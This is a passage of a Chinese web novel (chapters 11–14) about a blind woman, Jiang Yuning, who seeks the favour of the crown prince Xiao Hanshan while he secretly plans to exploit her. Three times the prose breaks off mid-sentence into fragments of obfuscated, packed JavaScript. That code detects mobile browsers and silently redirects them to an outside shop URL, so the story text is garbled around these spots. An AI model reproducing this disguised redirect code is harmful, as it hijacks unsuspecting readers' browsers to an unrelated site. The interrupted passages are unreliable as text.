惊夏一走,她就下床继续摸索出房间的路。 望鹤苑应该离这很远,想要像上次那般摸过去显然是不现实的。 但在这间房里做点小动作,她信手拈来。 片刻后,一道惊呼从西院客房里传出来,守着的两名婢女朝房门一看,没有立刻进去,直到呼唤惊夏的声音响起,她们才走过去。 一进房间就见女子跌倒在地,手腕上一抹红缓缓流淌。 婢女大惊失色,赶紧去搀扶她。 “姜姑娘,你的手腕流血了!” 姜予宁眼睫一颤,身子不由自主地抖动了一下,下意识往自己的手腕望去,什么都看不到,只能感觉到右手手腕上有什么东西缓缓流淌。 她张开唇,疑惑地啊了一声。 手腕怎么会流血?她方才只是想朝外走,以为屋子空旷,走路步伐大了些,没有仔细探周围,手腕不小心拂到什么东西,再往前走时就被绊倒。 后来才觉得手腕疼,这才叫了惊夏。 眼见流出的血越来越多,两名婢女吓得不轻,赶紧叫人。 “姜姑娘手腕流了好多血!” 11. 第 11 章 惊夏匆匆来,帮她包扎好,说话时语气重了些。 “不管要做什么,姑娘也得仔细着不要伤到自己,眼睛本就瞧不太清楚,走路更是要万分小心,若是没有婢女在,姑娘你岂不是要流很多血?” 姜予宁咬着唇,一言不发。 惊夏的话她听得出来有责备自己的意思,心里越发委屈。她并非真的要做出这种举动来吸引注意,这次是真的不小心被绊倒,谁知房间里竟然会有尖锐的东西做摆设。 惊夏见她低着头不说话,却也没有软和态度安抚她。 这次的事很严重,若是她再往前走一点,便不是伤到手腕那么简单。 当即叫人来把镶嵌在内室门上的挂钩拆下来,顺便也将另外一只拆掉。 “姑娘若是要去哪,直接唤婢女来便是,你自己走,遇到危险,奴婢们想来帮您都来不及。” “我只是不小心绊倒。”姜予宁依旧没有说话,紧紧抓着衣衫,浑身透着局促不安的气息。 责备的话又从头顶砸下来:“手不要用力,伤口会崩开。” 姜予宁立刻松开手。 惊夏没有再说,朝身后两个婢女挥了手,叫她们离开,“今晚我来守着。” 姜予宁听到她这句话,心头莫名别扭,既觉得安心,又觉得难堪。 “我今天不会再出去。” “夜已深,姑娘该歇息了。”惊夏没有应她的话,按着她的肩膀让她躺下,掖好被角,熄灭方才因为姜予宁手腕流血而点亮的数盏烛灯。 姜予宁不想睡,头一次觉得难以安心,急切地想解释些什么,可却开不了口。 惊夏用那种语气和她说话,定然是笃定她有所图,故意那么做的。 可是她再怎么想吸引萧公子注意,也不会用这种自残的法子,她还没蠢到要用受伤来博取男人的怜惜。伤到眼睛是逃亡途中发生的意外,如果可以,她也不想眼睛看不见。 人都是有脾气的,被人误解,她也会难受。 见她背对自己,惊夏也不愿多说。该叮嘱的都叮嘱了,不放在心上,她也没办法。 走出房间将门带上,守在外头。 西院的这点动静没有惊动其他人,整个别院,除了被安排来照顾姜予宁的,没人知道她伤了手腕。 天还未亮,萧寒山进宫面圣,更不会知道。 姜予宁独自熬了一晚,后半夜才睡着。 天刚亮,那两名婢女来换了惊夏,守着姜予宁。 等她醒来,恰好听见外头议论她的声音。 “看不见显得脆弱,惹人疼呗,不过她闭着眼睛看都不一般,这双眼要是好了,应该更好看吧?” 姜予宁悄悄扬起了唇,听到另一个婢女的话,笑容瞬间消失。 “她这样姿色的女子京城里多的是,殿下若是想,招招手,什么样的女子没有?” 姜予宁缓缓起了身,双腿落下,脚尖摸索了会,很快找到鞋履,一边穿一边听外头的话。虽然这俩婢女说话不好听,但话里有她想要的信息,勉强听听。 “说的也是,听说右相家的千金似乎对殿下有意,不过我觉得,她与殿下成不了。” 后头的话听不清了,声音压得很低,但姜予宁也不想弄清她们说了什么,听到“成不了”这三个字,安下心来。 现下只要不是萧公子成婚,便不是要紧事。 她穿好鞋,摸着衣架上外袍,慢吞吞套上。右手用力还是会疼,不过没有感觉到流血,应该结痂了。 脚步很轻地往桌边走,双手往身前探去,昨晚伤到手腕后,她动作谨慎了许多。 “不过我还是不懂,殿下为何要带个女子回来,若是要纳为侍妾,该是早就说了才是。” “兴许殿下没有让她做侍妾的意思?我瞧着殿下回来这么久,也没见他来过几次,应该是根本不关心。” 才不是! 姜予宁在心中反驳她们。 他是太忙了,没时间来而已。 也不知是为了哄骗自己,还是为了反驳她们,她捂住耳朵,不想再听。 转身回去,被她们的话气到,扰乱心神,没注意到桌角,险些又磕碰到。 回到床上时,一口气堵在胸口,难受极了。 昨晚手流了这么多血,他也没来看一眼,莫非真如那两个婢女所说,萧公子真的不在意她? 可若是不在意,又为何将她带回来,仅仅只是因为好心吗? 姜予宁是不相信这个世界上有纯粹的好心人……楼晏除外,他这个人心思单纯,一骗就上钩,但也只有他纯粹地对她好。 她又想楼晏了。 记忆中他的脸已经模糊,算起来,已经很久未曾见过他,一年了,他才刚死,而自己已经想不起来他长什么样。 情绪低落了会,姜予宁把自己哄好,重新振作起来。 不管如何,最起码自己要在这里将眼睛养好,在眼睛好之前,她是不会离开这的。 清了清嗓子,冲外头喊:“你们在说什么?” 外头议论的声音骤然停下,她都能想象得到那两个婢女震惊的表情,果不其然,略显惊慌的声音传进来:“姑娘醒了?” 门被推开,这两人只字不提方才议论的话,一个说要去打水来伺候她洗漱,一个说去端来药汤和早膳,总之说小话被抓包的那一会,心虚得不敢在她面前停留。 不过一会,这两人跑了。 姜予宁哼了一声,小声咒骂:“你们也就这点胆量。” 待她们回来,迟迟等不到惊夏,问了一句,其中一个回答:“惊夏姐姐守了你一宿,现下去休息了。” 姜予宁从她的话里听出几分怪罪的意思,惊夏不在,她又缓了一晚上,方才还被这两人说,态度比昨晚硬了几分。 “昨晚我是不小心绊到,你们也未曾提醒我要注意,我又看不见,哪知哪里会有尖锐东西。” 婢女刚要争辩,被另一个婢女拉开,那婢女声音不急不缓,盯着什么都看不见的女子,口中吐出讽刺的话:“姑娘既然知道自己看不见,就该好好待着,不要乱走,昨晚伤了手,今日伤了腿,明日若是没了命,我们这些做婢女的,要怎么向主子交代?” “昨晚你自己不小心伤到手腕,你在床上躺着养伤,却害得我们被惊夏姐姐一顿说。” 姜予宁听得心里不快,自在楼府受到气后,从没有人再这么说过她,惊夏不在,又无旁人,刚想要说回去,想到自己处境,这口气又咽了回去。 那婢女说完,见她不做声,早上被训时受的气发泄出来,语气僵硬道:“奴婢帮你敷药膏。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677345|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她的手法没有惊夏的好,敷上来会痛,但为了眼睛能早些好起来,又得忍着。 忍着忍着忍着,要忍到什么时候! 喝完药,用了早膳,她直接说要出去晒晒太阳。能感觉到外头是个大晴天,闷在房间里这么多日,早就想出去晒晒太阳。 婢女不想冒这个险,没有答应。 姜予宁没有作声,听着她们出去的脚步声,忽地恨自己那晚跑的时候怎么不看着些,眼睛伤成这样,连出去晒太阳都不行。 婢女们见这没什么事,没再看着,直接去下人房里休息。 西院安静得连外头一丝风刮过的声音都能听见。 姜予宁在房间里待了会,继续尝试摸索通往房门的路。她得走熟练,越熟练越好,日后去哪就不用求人。 先前走到内室门那被绊倒,有了经验,这次她走得很小心,摸索到门框时,心中一喜,只要迈出这道门槛,再往外走,不出意外,没多远便是房间门。 她的动作更小心起来,手和脚都没有碰到障碍物才会往前迈一步。 这里房间构造应该是与宗阳郡的差不多,她记得房门是朝向东面,就在她右手边。 摸索了好一会,碰到墙面,整个人贴到墙上,一点点往外挪,直到左手指尖摸了个空,她露出笑来,按住手掌边缘,一摸便知那是门框。 从内室走到门口,耗费了将近大半个时辰,以至于她停下来时,觉得自己后背冒了汗,累得很。 “没了你们,我也不是做不到啊。” 头一次因为这点小事而高兴,正要迈出脚,骤然一声惊呼。 “姑娘,你做什么呢?” 姜予宁笑容消失,不想搭理她们,坚持要走出去。 那俩婢女还记得惊夏的叮嘱,不让她见日光,看到她还要出来,又喊了一声:“你真要出来,出了事我可不管啊。” 姜予宁巴不得她们不管,她们就知道背后说她,若不是眼睛看不见,她定是要上去教训她们一番。 她实在是很久没有见光,屋子里再舒适再暖和,也比不上沐浴在阳光之下。 昨晚她被惊夏那一通说后,突然发现自己就像是被养在笼子里的金丝雀,除了这间房,哪也去不了。 原本下定决心要在这别院能有话语权,再遇上昨晚的事,更叫她坚定了决心。 不走出来,不见见日光,她如何能走到望鹤苑,见到萧公子? 是以她不理婢女说的话,再次往外迈步。 婢女见她真的要出来,怕她真出什么事被怪罪到自己头上,当即上前扯着她回去。 “你就不要给我们添麻烦了,待眼睛好了再出来见太阳,于你于我都好。” 说着,她直接动手把姜予宁往后一推,力道收了些,却没想到姜予宁弱不禁风,一推就倒,顿时愣在原地。 重重摔倒的感觉很不好受,姜予宁也没有察觉到她要推自己,当下忍着痛,质问她:“你推我做什么?” 婢女一阵慌神,也没想到要立即扶她,“我是要带你进去。” “你就是这么伺候孤带回来的人?” 一道冷声从她身后传来,婢女心中的惊慌立刻转变为害怕,辩解的话刚开口,就听女子娇弱之声。 “她方才是故意推的妾。” 12. 第 12 章 女子趴倒在地,声音带着哭腔,委屈极了。 姜予宁看不见来人在何处,却不会放过出气的机会。这次不是她故意做的,也不知怎么会这么巧被萧公子撞见,不过这样更合她的意。 “妾什么都没做,她突然就过来推妾。” 婢女心里一个咯噔,自己确实推了她,也带了故意的心思,这次还被殿下亲眼看到,她怕是要被罚了。 果不其然,听到男人的话,她瘫软了身子,跪倒在地。 “你该是知道忤逆孤命令的下场。” 婢女慌忙要去解释,就见男人抱起女子往房间里走去,她甚至还看到那女子得逞的笑。 心头一震,不知联想到什么,婢女当即站起来喊出声,“她是故意的!” “她看不见,如何故意?”男人脚步不停,声音已然带了不耐:“滚去领罚。” 姜予宁压下唇角,心中畅快,这口气总算出了。虽然不知那婢女好端端的为何要推自己,但这次正巧被萧公子看见,也算是帮了她一把。 “妾这几日并未做什么逾矩的事,不知哪里得罪了她,她要这般对妾……” 女子娇媚的声音传出,婢女尤为后悔,自己为何没有忍得住动了手。从她来到这里起,殿下没来看过她,自己竟然会以为殿下不在意她。 婢女颤巍巍站起来,回头望了眼下人房,人影一闪而过,那个跟着一起说姜予宁小话的婢女很聪明地躲过,要受罚的仅仅只有她。 她恨恨瞪了眼人影闪过的位置,垮着脸离开。 姜予宁是不管她下场如何,紧紧搂着男人,后怕不已,“若不是萧公子来得及时,妾怕是要被那婢女欺负。” 男人结实有力的臂膀很有安全感,姜予宁故意贴近他的胸膛,往他怀里缩。 女子身上带着独有的馨香,丝丝缕缕涌入鼻中,味道很淡,嗅着令人心旷神怡。 萧寒山脚步一顿,垂眸望着这个失明的女子,即使没有那双盈盈眼眸,艳丽的容颜也无半分减弱。 饱满红润的唇微微张开,说话时齿缝间的舌若隐若现,她说话的声音轻柔柔的,与她的唇一样。 萧寒山移开目光,眼底闪过一丝不易察觉的幽深,朝床边走去。 姜予宁刚被男人放到床上坐好,就听他问:“阿宁为何要出房间?” 语气闲散,仿佛只是随口一问。 “妾久待卧房不见日光,难免不适应,便想出来晒晒太阳。”说着,她语气瞬间变得委屈,向面前之人倾诉,“妾想请她们帮忙搀扶,她们不愿,我便只好自己出去,谁知却被推倒。” 姜予宁被楼晏宠惯了,遇到委屈直接说,可不会把错揽在自己身上。 萧寒山居高临下地俯视她,看出她没撒谎。 今晨入宫,三皇子党在楼晏战死上做文章,又想找理由将他驱逐,只可惜没能得逞,气得面色铁青。 对手吃瘪,自己心情大好,回来时想起自己府里还有个美姬,便来看看,恰好撞上婢女推她那一幕。 他府里的人,不管是谁,都得听从他管教,敢违背他命令的人,一个都不能留。 包括面前的女子。 “阿宁受苦了。”男人声音放低,似乎在安抚她。 姜予宁摇头:“公子救下妾,还叫人照顾妾,妾该谢谢公子才是,哪里会受苦。” 男人看她的眸光越来越沉,漫不经心问道:“阿宁要如何报答孤?” 姜予宁心口一跳,紧紧捏着自己衣衫,紧张起来,“如果公子不嫌弃,妾……” 她犹豫着是否要现在褪下外裳,这次明显是个极好的机会,但她摸不准他的性子,怕自己做的太直接,会引起他怀疑。 “公子要妾做什么,妾便做什么。” “哦?阿宁此话当真?” 姜予宁点了头,无法睁眼看他,但知道他就在自己面前,伸手去摸索他的手,很顺利地一下就碰到,握住他的手,按在自己脸颊上,再次重复:“妾可以一辈子伺候公子。” 这句话相当于直接告诉他,她会留在他身边,谁都能听出里头暗含的意思。 女子肤如凝脂,掌下的脸颊嫩得仿佛能掐出水来。 萧寒山微微用力一掐,女子当即轻呼出声,他卸了力道,不轻不重地揉弄。 “阿宁好生娇弱,这般不禁捏。” 姜予宁弄不清他为何要掐自己的脸,只当是他对自己起了一丝兴致,声音刻意放柔媚:“妾有些怕疼,公子可不可以轻一点。” 萧寒山蓦地收回手,指尖摩挲,那细腻柔嫩感久久不散。 “怎的不跟着她们一起唤孤殿下?” 姜予宁心里一个咯噔,还未想好怎么说,男人已经再次开口:“你现在该是知道孤的身份。” 姜予宁知道自己的接下来的回答定然至关重要,大脑飞速运转,谨慎道:“公子救妾时,妾并不知公子身份,在妾心里,公子只是救妾的好心人,与公子的身份无关,妾要报答的是公子您,而不是太子。” 她脸不红心不跳地说完,面上坚定,实则心中焦急慌乱,生怕对方会觉得自己是看重他的身份而故意接近他。 而他说的话,立即让她安下心来。 “阿宁这般说,孤很高兴。” 男人笑了,笑意却不达眼底。 “那,那公子日后能否多来看看妾?”女子说完这句话,又急急解释道:“妾只要公子一月来个一两次,只坐一会便可,这样她们就不会认为公子不在意妾,而来欺负妾。” 她语气委屈极了,若是那双眼能睁开,必然是要泣出泪,那模样更惹人怜。 “孤可以答应阿宁,但阿宁要帮孤一个忙。” 姜予宁欢喜不已,“妾说了会一辈子报答公子,公子若是要妾帮忙,直说便是。” 戏谑的眼神投向面露喜色的女子,萧寒山抬了手,将她散乱的发丝别到耳后,挑起她下巴,让她抬头。 仔仔细细打量她这双还未好透的眼,眼尾的疤痕看着如同一颗红痣,为她本就艳丽的容颜更添了一分妖冶。 他说了一句与之前完全不相干的话:“阿宁的这双眼,很是好看。” 姜予宁微微抿了唇,不叫自己高兴得太明显,“晏——阿娘也说过妾的眼睛好看。” 慌忙将晏字吞回去,眼睫不安地颤动,不敢再说话。 好在男人没有发现,感觉到抬自己下巴的手松开,她连忙抓住,急急道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677346|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子能不能请大夫来看看妾的眼睛,一月过去,妾还是看不见,她们日夜照顾妾应是很累,妾想早些好起来,就不用麻烦婢女夜里还要守着。” 萧寒山方要说不用,忽地想到自己的计划,说了好。 他将手抽出来,道:“改日孤请大夫来帮阿宁看眼睛。” 有了他的话,姜予宁提起的心放下,整个人轻松许多,朝着他露出欢喜的笑。 这样的笑容,轻易就能夺走人的目光。 女子毫无防备,全身依赖着他。 萧寒山初见她时,确实是没有动碰她的心思,也不屑于碰臣妻。从始至终只有一个目的,利用她来谋取自己想要得到的。 而现在,已经可以着手试验她是否有价值。 男人目光晦涩地望着她,在她还以为自己会得到他庇护的时候,一个可怕的念头自他脑中生出。 “阿宁的这双眼,定会有人喜欢。” 被人夸赞当然会高兴,姜予宁红了脸,没好意思接这句话。 楼晏也会夸她,但没有像他这样会让她感到羞涩。 “阿宁好好休息,孤改日再来看你。” 姜予宁连忙起身,摸索着床栏要走向他:“妾送送公子。” 男人拒绝了她,让她好生歇着,姜予宁心一急,急忙把自己想了许久没问出来的话说出来:“妾只知道公子的姓氏,还不知公子的名,不知公子能否告诉妾?” “孤的名讳,阿宁不知?” 姜予宁摇头,这些年一直在青楼待着,又不曾出去,哪里知道太子的姓名。 “孤名为寒山。” 男人走后,姜予宁念了好几遍他的名字,想到日后的好日子,笑容止不住。 “寒山,萧寒山,他是太子。” 若是在还未遇见楼晏前,有人告诉她,自己会被当朝太子所救,她是定然不会相信的。 如今太子不仅成了她的恩人,还将她带到京城,这以后的日子,定然是要比在宗阳郡好多了。 姜予宁想着想着,激动得一晚上没睡着,夜里忽然起下雨,窗户没关,风刮得哐哐响,更是睡不着。 今晚守夜的是另一个婢女,唤了好几声也未听见回应,只好自己去关。 只是去关个窗户,只需走几步便可,索性没有套外袍,谁知走过去才发现雨大得很,都打进来,迎面被雨打了一身,脸上被泼了一盆水似的,满是雨水。 摸索许久才抓到窗页,关紧又耗费许久时间,待门关上时,身上正面几乎湿透了。 喊了几声,无人应答,没有换的衣裳,只好将湿衣衫脱了,套上外袍去睡,结果被叫醒时,脑袋晕晕的,很是难受。 “姑娘,你受风寒了?” 姜予宁下意识要睁眼,眼前一片漆黑,她烧得迷糊,忘记要闭眼,惊夏看见,连忙叫她闭上眼睛。 “奴婢马上去请大夫来,姑娘你先躺一会。” 姜予宁迷迷糊糊间听见脚步声越来越远,嗓子干哑,朝床沿外伸出手:“水……水……” 无人应答。 她实在没了力气,胳膊收了回去,捂着眼睛,不受控制的泪水从眼尾滑落。 为什么眼睛,好像有点疼? 13. 第 13 章 夜里下了一场急雨,院子里满是积水,婢女拿着扫帚扫开,听到焦急的脚步声,抬头看了眼。 惊夏带着大夫过来,声音能听出很紧张。 “她伤过眼睛,您得仔细瞧瞧她的眼……” 剩下的听不清,惊夏已经带着大夫进入房间,婢女收了心,继续扫积水。 “姑娘这眼睛,是否碰了生水?” 听大夫这么问,姜予宁心沉了下去,“昨夜关窗,雨打在身上,我将雨水擦干净后,换了一身衣衫便睡了。” 惊夏看到她里头穿的是外袍,中衣还是湿的,显然昨晚淋了不少雨。 “这天逐渐转寒,姑娘这眼睛本就未好全,又淋了雨,昨晚那场雨猛得很,姑娘不该湿身入睡的。” 惊夏在一旁自责得没有说话,昨晚前半夜守了前半夜,后半夜下雨时睡得死,没有听见声音,今早起来便见外头一地湿润,赶忙来瞧,果不其然出事了。 “很严重吗?” 大夫叹了口气,道:“仔细养着吧,这眼睛,一时半会好不了。” 姜予宁急忙问:“我的眼睛,会永远都看不见吗?” 大夫一惊,“姑娘可不要这么说,离看不见还早着呢,好生养着,会好的。” 他犹豫片刻,如实说了:“至于哪日好,就得看姑娘恢复得如何了。” “药膏继续敷着,至于先前开的汤药,先停下,我开一副治风寒的药,喝个三四日便好。” “那我若是想出去走走,可能见日光?”姜予宁问出自己最关心的问题。 大夫沉思片刻,道:“姑娘若要是想要外出,用厚绸子眼纱遮着眼睛,或是戴上帷帽,遮挡日光便可。” 姜予宁放了心,说了谢谢,惊夏送大夫离开。不过片刻,院子里的婢女被叫走,西院空荡荡的,没几个人。 婢女被叫去望鹤苑,跪地禀告昨晚发生的事,以及大夫的叮嘱。 萧寒山语气微妙:“大夫说,她的眼睛一时半会好不了?” 婢女应声说是。 他挥了手,婢女退下。 书房内只有笔墨摩擦草纸的飒飒声响。 萧寒山停了笔,望着自己写下的名字,眸光晦涩。 “姜予宁。” 他抬首,朝外道:“去请,左相大人来,就说——” 嘴角扬起讥讽的弧度,“孤有块美玉,请他一同观赏,孤不着急,看他何时有空。” 暗卫领命,悄无声息离去。 送走大夫,惊夏拿了大夫开的方子,本是要婢女去医馆开药,但又怕婢女出岔子,回去与姜予宁说了声后,自己亲自去。 青砖沾了雨水,踏在上头,看不出脚印。 萧寒山来时,姜予宁正摸索着给自己倒茶。 她看不见,不知道惊夏为了给大夫放置药箱,将茶盏移开,不小心碰倒,水泼了一桌。 她当即要去把碰倒的茶盏扶起来,谁知动作太急,膝盖磕碰到椅子,钻心地疼。 与此同时茶盏摔碎的声音惊起,她吓了一跳。 萧寒山就这么看着她吓得身子一颤,那张脸再次露出被惊到的表情,眉头一压,眼睫一颤,唇瓣紧抿,仿佛下一秒就要哭出来。 她没有哭,小心翼翼地扶着桌角微微弯着身子,一下一下地轻轻揉着自己被撞到的膝盖,每一次碰都很疼,她却出奇地没有哭。 “不疼的,不疼的。”她就这么哄着自己,虽是依旧娇弱,但比昨日看到他来就告状的委屈模样好很多。 萧寒山弯了唇,发出脚步声,开口道:“孤听婢女说,阿宁受寒了?” 姜予宁被这突然响起的声音又吓了一跳,声音断断续续:“妾,妾昨晚关窗户时,淋了雨……” 身子一轻,人被抱起。 姜予宁忽然不知该是搂住他,还是要再矜持一些。 不过很快不用思考,萧寒山将她放回床上,她犹豫着,小声说:“妾是不是给公子添麻烦了?” 男人声音带着一丝担忧:“阿宁身子不适,孤当是要来看看阿宁的。” 姜予宁低了头,压住唇角,轻轻说了谢。正要说些什么拉近距离时,下巴被挑起,她看不见他面上表情,只能尽力表现得不那么憔悴。 “妾感了风寒,公子还是不要离妾这么近,免得传给了公子。” 以退为进,是她拿手好戏。 男人没有松开,语气里依旧带着关心,“孤不怕,只要阿宁身子能好,孤便放心了。” 眼前的男人说着她曾经见过的那些男人相似的话,姜予宁一时间分不清他是真的关心自己,还是表面上做做样子。 她动了动腿,方才磕碰到的地方已经不大疼了。 “妾方才要去倒盏茶,不小心磕碰到膝盖,好疼好疼。”她的声音带着哭腔,听着似乎是真的疼极了。 萧寒山目光扫过她平放在床上的腿,嘴角扯出弧度,上手一按,“是这疼吗?” 女子被他的力道按疼,仰起身子,一头撞进他怀里,淡淡的馨香伴随着女子柔软的身子靠近,几乎撞了个满怀。 姜予宁顺势攀上他肩膀,唇瓣一张,声音颤抖,显然痛得不轻,“是,是这。” 她疼,却不敢说他按得太重。 萧寒山捏了两下,收了手,女子还靠在他怀里,柔弱无骨,似根柳枝,攀附着他。 “阿宁可还有其他地方磕碰到?” 姜予宁摇了头,跟猫儿一样呜咽着,“没有了。” 男人身体坚硬,靠上去像是堵墙,但比起那些缥缈脆弱的东西,这个坚硬的怀抱更加令她踏实。 她就这么依偎在他怀里,也不说话,等着他什么时候推开自己。 她这副全身心依赖的模样落入男人眼中,更是激起他某些,不可暴露在白日里的心思。 没有一个男人能拒绝女子以自己为尊,身为太子的萧寒山,更无法拒绝,况且他生来就是要做九五之尊,她就该以他为尊,依赖他,离了他,早就被那群马匪祸害。 极具侵略的目光从她眉眼一点点往下,扫过她饱满的唇,脆弱的脖颈,衣领下白皙肌肤,以及那不堪一握的腰肢。 此刻萧寒山该对初见她时说的话感到可笑,说是不夺臣妻,但在人的欲望面前,一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677347|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原则都可一退再退。 更何况,他非正人君子。 萧寒山抬手握住她纤细胳膊,拉开她,在她不解时,轻轻拂过她垂下的眼睫,粗粝的指腹轻轻一碰,她就往后缩,煞是有趣。 “阿宁好好养身子,这双眼可不能看不见。” 女子点了头,喏喏说了好。 “孤还有些事要处理,忙完再来看阿宁。” 他前脚刚走,惊夏后脚进来,将熬好的药端来,也不提萧寒山方才来过,喂她喝完药,说了句抱歉。 姜予宁也不是那种会胡搅蛮缠的人,况且日后还要靠惊夏在这别院里照顾自己,断然是不会埋怨她的。 且惊夏也说清楚了,后半夜守夜的是另一个婢女,错不在她身上。 “无事,我只是感了风寒,眼睛已经不疼了,你不用太自责。” 惊夏嗯了一声,回来时看到主子从西院出来,除了来看姜姑娘,不可能会做旁的,心下有了计较,知道不能像先前那般怠慢。 兴许有一天,这别院里,就有了女主人呢。 喝完药后,惊夏帮姜予宁敷了药,姜予宁回床上躺了会,身子好了许多。 幸亏这风寒不严重,否则她怕是要躺上好几日。 过了几日,姜予宁身子好转,正靠在床上小憩,惊夏忽然进来,道:“姑娘,主子帮你准备了眼纱,日后你若是想出去走走,系上眼纱便可。” 姜予宁惊讶,没想到他会亲自准备这东西,冰凉丝滑的眼纱落入手中,虽是看不见,也能摸得出来这料子定然是极好的。 嘴角扬起,语气欢快,“帮我谢谢萧公子。” 她动手想现在就系上,想到什么,问惊夏:“今日天是晴的吗?” “阴天,太阳不大好。” 要系眼纱的动作顿住,手缓缓垂下,“阴天啊。” 惊夏看出她想系着眼纱出去的心思,笑道:“不如让奴婢帮姑娘系上看看,若是哪里不舒服,也好调整。” 姜予宁点了头,眼纱被抽走时带来的冰凉感觉宛如水流过一般。 眼纱一戴上,双眼很是舒适。 惊夏松了手,看着面前的女子,正感叹她连眼睛系上眼纱也难掩美貌,笑容骤然消失。 面前女子戴眼纱的模样越来越像一个人,惊夏看着,心中升起不安。 “你觉得怎么样?” 女子难掩喜色的声音响起,她立刻回神,声音不大自然道:“好看,姑娘很好看。” 姜予宁沉浸在这意外之喜中,并未察觉到她话里的异样,戴了会,自己松开眼纱,对折再对折,放到枕头底下收好。 “没想到萧公子会亲自准备,我该去谢谢他才是。”这话说出来,其实是为了找借口接近他。 惊夏一惊,当即出口:“姑娘若是要外出,戴上帷帽更好遮挡日光,这眼纱,起的作用很小。” 姜予宁本是觉得她说的对,思绪一转,问她:“那为何萧公子不为我准备帷帽,而是送来眼纱?” 惊夏不敢说出自己心中的猜想。 是啊,为何送的偏偏是眼纱,而不是帷帽呢。 14. 第 14 章 天晴,青砖石子地干透,空气里弥漫着清新之气。 这几日姜予宁戴着眼纱出去过一回,但也只在院子里转转,望鹤苑于现在的她而言,着实不好过去,且她又不能直接对惊夏说自己要去那,只好作罢。 不过倒是将自己房间与周围几间房摸透,除开自己住的这间房,其余几间都是空房,如此看来,整个别院,除开婢女,只有自己一名女子。 意识到萧寒山只带了自己一人回来,姜予宁心思活络起来。 这是不是意味着,他其实对自己有几分心思,否则以他太子身份,又怎会至今未娶妻,身侧还无妾室。 思及此,姜予宁想起他来看自己时说的话,次次都提及要她养好眼睛。 她轻轻抚上眉眼,微微扬了唇,萧公子也喜欢自己这双眼么? 脚步声传来,她垂了手,闻声面向来人。 “姜姑娘,主子特地叫奴婢来告诉你一声,这几日主子要外出,你若是有想要的东西,可以叫他带回来。” 以萧寒山的身份,自己要外出根本不用告诉姜予宁,不仅告知,还许她一个小要求,在姜予宁看来,这是他在意自己的表现。 她想了又想,却摇头:“你与萧公子说,妾不想要什么,只想他归来时,见一见妾。” 虽说上次向萧寒山提出一月来她这两次的要求,但人贪婪之心又怎能轻易就满足。 更何况前几日萧寒山送了她眼纱,这样的举动在她眼中算得上是对她有心思的。 她更要趁热打铁,在他对自己起了兴趣之时,将这兴趣扩大,转成喜欢,得要自己住在他心里,才稳。 惊夏诧异,确认道:“姑娘真的没有什么想要主子带回来吗?” 姜予宁轻轻抿唇,微微笑道:“你就这般回萧公子便好。” 惊夏点了头,转身便去告诉萧寒山。 得知姜予宁的回答,萧寒山确实有几分惊讶,原以为以她的性子,会趁机要求他带些金银首饰,再不济也是胭脂水粉,却只想要他回去时去见见她。 男人哼笑,既没有说答应要去,也没有拒绝,直接往外而去。 金玉腰带束那被墨色锦衣包裹的腰,长腿迈开,上了马车。 惊夏躬身行礼,直至马车驶走,才直起身。 回去时被姜予宁问萧寒山是否答应她的要求,惊夏沉默片刻,如实道:“主子并无明确表示。” 姜予宁心下失落,很快这抹失落散去,即便不答应,还有先前的约定,他总会来的。 萧寒山虽不在,有上次那婢女推她被罚的事,倒是没人敢来寻麻烦,只是日日都在屋子里闷着,烦闷得紧。 “惊夏,我想在别院里走走。”不等惊夏拒绝,她已经将借口说出来:“总是在屋子里屋里闷着,人都要发霉,你带我出去走走,不用去太远的地方。” 惊夏本只带着她在西院里转转,但听她说想熟悉熟悉别院,且她看不见,转去外头转一转也不是不可。 况且主子临行前还特地嘱咐过,可以带她去望鹤苑,便没有拒绝。 不过一会,就听姜予宁好奇主子住在何处。 她心神一动,道:“主子处理事务、歇息,皆在东边的望鹤苑。” 姜予宁轻轻哦了一声,没有再说,随着惊夏的脚步缓缓走动。 那萧寒山与自己所住的地方便是正对着。 走了好一会,她问:“我们现在走到哪了,回西院远吗?” “此处接近别院大门,回西院约莫两刻钟。”她自己回去,半刻钟便可,姜予宁看不见,走得慢。 姜予宁没有作声,脑中想着惊夏带自己走的路,脚下基本都是青砖,且都是左转,按惊夏所说的时间,猜测西院靠近大门。 她笑了笑,说:“今日就走到这吧,我有些乏了,想回去歇息。” 惊夏道了声好,方要扶着她回西院,却听身后响起一道焦急之声。 “惊夏姐姐!您在这呢,奴婢不用再找您了。”婢女匆匆跑来,也没注意到惊夏身侧还有个女子,直接说:“七殿下来了,主子不在,奴婢不知要怎么接待。” 这个消息于惊夏而言宛如晴天霹雳,当即转头去看姜予宁,女子闭着眼,面上疑惑,根本不知来人是谁。 